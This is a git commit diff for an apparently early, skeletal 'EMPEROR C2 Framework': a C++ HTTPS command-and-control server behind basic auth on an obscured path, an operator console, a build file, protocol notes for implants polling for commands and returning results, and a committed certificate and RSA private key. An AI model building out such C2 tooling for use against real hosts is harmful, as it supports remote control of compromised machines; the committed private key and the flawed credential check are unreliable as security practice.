Initial commit
This commit is contained in:
commit
6724c4929e
|
@ -0,0 +1,160 @@
|
||||||
|
#include <httpserver.hpp>
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <vector>
|
||||||
|
#include <thread>
|
||||||
|
|
||||||
|
// GLOBALS
|
||||||
|
httpserver::webserver ws = httpserver::create_webserver(8665)
|
||||||
|
.use_ssl()
|
||||||
|
.https_mem_key("server.key")
|
||||||
|
.https_mem_cert("server.crt");
|
||||||
|
|
||||||
|
class command_and_control : public httpserver::http_resource
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
|
||||||
|
{
|
||||||
|
std::vector<std::vector<std::string>> sCreds;
|
||||||
|
std::vector<std::string> sUsernames;
|
||||||
|
std::vector<std::string> sPasswords;
|
||||||
|
std::fstream fCreds;
|
||||||
|
fCreds.open("creds", std::ios::in);
|
||||||
|
char ch;
|
||||||
|
bool bUsername = true;
|
||||||
|
std::string sUsername = "";
|
||||||
|
std::string sPassword = "";
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
fCreds >> ch;
|
||||||
|
|
||||||
|
if (fCreds.eof())
|
||||||
|
{
|
||||||
|
sPasswords.push_back(sPassword);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch == ':')
|
||||||
|
{
|
||||||
|
bUsername = false;
|
||||||
|
fCreds >> ch;
|
||||||
|
sUsernames.push_back(sUsername);
|
||||||
|
sUsername = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch == '\n')
|
||||||
|
{
|
||||||
|
bUsername = true;
|
||||||
|
fCreds >> ch;
|
||||||
|
sPasswords.push_back(sPassword);
|
||||||
|
sPassword = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bUsername)
|
||||||
|
{
|
||||||
|
sUsername += ch;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sPassword += ch;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sCreds.push_back(sUsernames);
|
||||||
|
sCreds.push_back(sPasswords);
|
||||||
|
return sCreds;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool verifycreds(std::vector<std::vector<std::string>>sCreds, std::string sUsername, std::string sPassword)
|
||||||
|
{
|
||||||
|
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
|
||||||
|
{
|
||||||
|
if (sCreds[0][iUsernameIndex] == sUsername)
|
||||||
|
{
|
||||||
|
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
|
||||||
|
{
|
||||||
|
if (sCreds[1][iPasswordIndex] == sPassword)
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::vector<std::string>>sCreds = retrievecreds("creds");
|
||||||
|
|
||||||
|
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request& req)
|
||||||
|
{
|
||||||
|
if (verifycreds(sCreds, req.get_user(), req.get_pass()))
|
||||||
|
{
|
||||||
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Authenticated"));
|
||||||
|
}
|
||||||
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
void startserver()
|
||||||
|
{
|
||||||
|
command_and_control c2;
|
||||||
|
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
|
||||||
|
ws.start(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
void prompt()
|
||||||
|
{
|
||||||
|
std::cout << "========== EMPEROR C2 Framework==========" << std::endl;
|
||||||
|
std::cout << R"( _____
|
||||||
|
,888888b.
|
||||||
|
.d888888888b
|
||||||
|
_..-'.`*'_,88888b
|
||||||
|
,'..-..`"ad88888888b.
|
||||||
|
``-. `*Y888888b.
|
||||||
|
\ `Y888888b.
|
||||||
|
: Y8888888b.
|
||||||
|
: Y88888888b.
|
||||||
|
| _,8ad88888888.
|
||||||
|
: .d88888888888888b.
|
||||||
|
\d888888888888888888
|
||||||
|
8888;'''`88888888888
|
||||||
|
888' Y8888888888
|
||||||
|
`Y8 :8888888888
|
||||||
|
|` '8888888888
|
||||||
|
| 8888888888
|
||||||
|
| 8888888888
|
||||||
|
| 8888888888
|
||||||
|
| ,888888888P
|
||||||
|
: ;888888888'
|
||||||
|
\ d88888888'
|
||||||
|
_.>, 888888P'
|
||||||
|
<,--''`.._>8888(
|
||||||
|
`>__...--' `''` )" << std::endl;
|
||||||
|
std::cout << "=========================================" << std::endl;
|
||||||
|
std::string command;
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
std::cout << "[EMPEROR]>";
|
||||||
|
std::cin >> command;
|
||||||
|
|
||||||
|
if (command == "sessions")
|
||||||
|
{
|
||||||
|
std::cout << "No sessions currently active" << std::endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (command == "q" || command == "quit" || command == "exit")
|
||||||
|
{
|
||||||
|
ws.stop();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main (int argc, char** argv)
|
||||||
|
{
|
||||||
|
startserver();
|
||||||
|
prompt();
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,2 @@
|
||||||
|
default:
|
||||||
|
g++ EmperorServer.cpp -I /usr/local/include -L /usr/local/lib -lhttpserver -pthread -o EmperorServer
|
|
@ -0,0 +1,31 @@
|
||||||
|
CORE FEATURES
|
||||||
|
|
||||||
|
server <-- client
|
||||||
|
REGISTRATION
|
||||||
|
msg=ready&type=basic
|
||||||
|
OR
|
||||||
|
msg=ready&type=advanced
|
||||||
|
|
||||||
|
server --> client
|
||||||
|
ACKNOWLEDGE
|
||||||
|
user=(username of client)&msg=acknowledged
|
||||||
|
|
||||||
|
server <-- client
|
||||||
|
REQUEST COMMAND (RUNNING AT REGULAR INTERVALS)
|
||||||
|
msg=reqcmd
|
||||||
|
|
||||||
|
server --> client
|
||||||
|
RESPONSE WITH NO COMMAND IN QUEUE (RESPONSE TO PREVIOUS HTTP REQUEST)
|
||||||
|
msg=nocmd
|
||||||
|
|
||||||
|
server --> client
|
||||||
|
RESPONSE ISSUING COMMAND (RESPONSE TO PREVIOUS HTTP REQUEST)
|
||||||
|
run=id
|
||||||
|
|
||||||
|
server <-- client
|
||||||
|
RESULT
|
||||||
|
result=uid=1000(elimin8)
|
||||||
|
|
||||||
|
server --> client
|
||||||
|
ACKNOWLEDGE
|
||||||
|
user=(username of client)&msg=acknowledged
|
|
@ -0,0 +1,17 @@
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIICoTCCAYkCFBeBenslYFw0PCtfNzvrcXDPppWcMA0GCSqGSIb3DQEBCwUAMA0x
|
||||||
|
CzAJBgNVBAYTAlVTMB4XDTIxMDgyMjIxMjU1MloXDTI0MDIwODIxMjU1MlowDTEL
|
||||||
|
MAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr0kC3
|
||||||
|
bk3O4vpOP3d7qJLFwZHPmddAVh1eWsfv2AiEIAYzNmkoJY2XIInSXm28qKIjPVnD
|
||||||
|
punKujN/EKgiaCrrLOnf+OxqZFpqLc8CzRc99kNoecRDp+HGcNweFLqWm/Zrz84i
|
||||||
|
1wpj/973anoqUkLg04LwdEqfCrAljVS6IfLSw/ib9oOQN3C0dslTaFCD2T0pFUB/
|
||||||
|
gK6/nuidLJ+OJh+Gv0PjtZcno56yOruEA1UoGLYugskFZx0UdOIVqhSYjoMAbd3i
|
||||||
|
XPnfbet83lxaFx31fpXJh1SqyYS6u/eVqDVytRR4BcZO/YV6syPqPp4Mu2mqsXQg
|
||||||
|
AG4R2UWuOZFJSnBnAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAAUg0dBwyVd0ouCV
|
||||||
|
tP8fVWvpRjmOii8czHp1aNVko6XncAGb5QsfvNmwPhhZnInURjofPqXoH3kCk0s6
|
||||||
|
umK7Oyazc4gbtttESPsXVBQ0Lmb8QZIa40TeJ7d94f9SVO0J2TxtbSPICtrXQcOF
|
||||||
|
NqPWbgN7LoQvzKe3jjkIe+d6hRTxMwFD/rVQoseXi45uDmvpS7l2arAcIGsDXsLS
|
||||||
|
FvVaGnA8iDndPzmEZ4W4DcQRnhzDSfsTMthxaKxw+YgEBhC/j19b8csJj1+rD7l/
|
||||||
|
qC5VI8YRJ6dqD+IxMYcHs41rHobjNgpdyMJ3FykXxd/nweIpP6TzQ7D9buxudtkY
|
||||||
|
WThMA8c=
|
||||||
|
-----END CERTIFICATE-----
|
|
@ -0,0 +1,27 @@
|
||||||
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIIEpAIBAAKCAQEAq9JAt25NzuL6Tj93e6iSxcGRz5nXQFYdXlrH79gIhCAGMzZp
|
||||||
|
KCWNlyCJ0l5tvKiiIz1Zw6bpyrozfxCoImgq6yzp3/jsamRaai3PAs0XPfZDaHnE
|
||||||
|
Q6fhxnDcHhS6lpv2a8/OItcKY//e92p6KlJC4NOC8HRKnwqwJY1UuiHy0sP4m/aD
|
||||||
|
kDdwtHbJU2hQg9k9KRVAf4Cuv57onSyfjiYfhr9D47WXJ6Oesjq7hANVKBi2LoLJ
|
||||||
|
BWcdFHTiFaoUmI6DAG3d4lz5323rfN5cWhcd9X6VyYdUqsmEurv3lag1crUUeAXG
|
||||||
|
Tv2FerMj6j6eDLtpqrF0IABuEdlFrjmRSUpwZwIDAQABAoIBADenhubjh7h3tPQb
|
||||||
|
gqw/UitUI9LG1f405pZleVWq+Dcz2E5GVZF3eIF3PK0zgQAW703S1XyWWCweXAfQ
|
||||||
|
cWWTsDM0/RxbGNjtYIv8Ao25uMmNNxBkQLpZarxIWkQ0GqwmII+TZAXM+cSiYKpr
|
||||||
|
ht6mfpssZ8FTKciSQbQoL0WLMYgrAh9bsvd4KTwLsNedwiG575plG8IF43HEjaGl
|
||||||
|
GIwF7uPtmDYwxGr2MXLBJlkpRzj3JpMOcXnJDqf+DcCorngRM96BoRHC3CwyRSz7
|
||||||
|
FKSQemPGvAwljN0+j1C1oIyC1SCQ1aOeQFQS5nbGF2kNJ9FO2dFA+aBN8OOr0Vm5
|
||||||
|
vKrYuSECgYEA20kJyBsp0eJsnWew8BzPwZXqfN9KVCYcgcxB7xMRytJ0El4N9yJw
|
||||||
|
lKaobOeyCV9WixrjnysqKtfePNaYWqZQUfUW75qbfKue0HvfLLVIkSCjtBxp0Oy8
|
||||||
|
qcbFJ8SNyfXcekxBIxtZ/AQXB9p3hoOw64L0grSnLLQXm+026Et8D20CgYEAyJbS
|
||||||
|
dnA9anrEBcXRZ3OUAbijuDQv66fuwHbfFfXdKNVUvi/sek0jpXUJfYS7zSHHC75T
|
||||||
|
CYe4YeU4dqnviTd3+097Z2nox6Uv/9rWW2Zr3g+9gbIc4BW0t6bFi6FnMf66VI7N
|
||||||
|
auE1hfhQyJJaA9MN7aHkRUpDMjMzr5J4t+PWVqMCgYEAsHGDkmTw8HXNSZZOk9XL
|
||||||
|
AYxcYl/U0gLce0BcaT8h2N4gEUtm10z541J6QS7pXYs9+q4HK2KzCkgqBS/y5TXf
|
||||||
|
eSLJcsAnjlgVcNHLUJEJs+TcdCdMqZRjdgR/TTFlmXTgE/PZkaMHc7XixinudOjv
|
||||||
|
6YC0t5sezOSX/poPzTg3ub0CgYEAiBzH7bSWCEYL8/ra8L8d5Nkcx2cqSVeoDBPd
|
||||||
|
p3Ixw36XRYMRjaAAm0rCyNij8zuDbLWWdTYSaON5IBSKRWtNUEwL6g2U9rxhyNT/
|
||||||
|
dgAXHBVEO9jX/TrdaW2SSQCaHPPEDpLkUy1E+4aXkrK0wDmcDu83DcmptUvHO9FB
|
||||||
|
d070Z88CgYBIonEr1GZQVsbf8FsDtyFsQBbXWTfd7ud7Kg0wx8ad75R8khwR2fQO
|
||||||
|
oX3RdS26J8M/8CY38ZG/QmNPHog6DMdDgAh99RxEJC0J0mIfZFg+gMObQ7MwL9L+
|
||||||
|
b6KRv9Qqbt8vrRiWGA2qH4Xcv4NzdycIVO1V+fv7cttutlQPwtxglg==
|
||||||
|
-----END RSA PRIVATE KEY-----
|
Loading…
Reference in New Issue